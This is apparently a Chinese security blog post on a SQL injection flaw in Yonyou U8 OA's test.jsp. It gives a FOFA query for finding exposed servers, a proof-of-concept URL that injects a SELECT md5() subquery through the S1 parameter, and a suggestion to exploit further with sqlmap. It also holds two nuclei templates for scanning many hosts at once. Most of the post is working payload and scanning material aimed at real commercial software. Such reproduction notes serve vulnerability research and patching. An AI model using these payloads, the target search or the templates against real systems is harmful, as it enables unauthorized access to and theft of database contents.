用友U8 OA test.jsp SQL注入漏洞

漏洞描述

用友 U8 OA test.jsp文件存在 SQL注入漏洞,由于与致远OA使用相同的文件,于是存在了同样的漏洞

漏洞影响

用友 U8 OA

漏洞复现

fofa语法:title="用友U8-OA"
登录页面如下:

POC
/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5(1))

出现上图说明目标存在sql注入漏洞,后续的利用可以使用sqlmap进行梭哈

nuclei批量yaml文件

id: yonyou-u8-oa-test-sqli

info:
  name: Yonyou U8 OA test Sqli
  author: bjxsec
  severity: high
  reference:
    - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20OA%20test.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
  tags: yonyou,oa,sqli

variables:
  num: "{{rand_int(10)}}"

requests:
  - method: GET
    path:
      - '{{BaseURL}}/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{num}}))'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'md5({{num}})'

      - type: status
        status:
          - 200
id: yonyou-u8-oa-sqli

info:
  name: Yonyou U8 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: Yonyou U8 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  reference:
    - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20OA%20test.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
    - https://www.tencentcloud.com/document/product/627/38435
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-89
  tags: yonyou,oa,sqli
  metadata:
    max-request: 1

variables:
  num: "999999999"

http:
  - method: GET
    path:
      - '{{BaseURL}}/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{num}}))'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'

      - type: status
        status:
          - 200
posted @ 2023-09-07 16:12  学安全的小白  阅读(500)  评论(0编辑  收藏  举报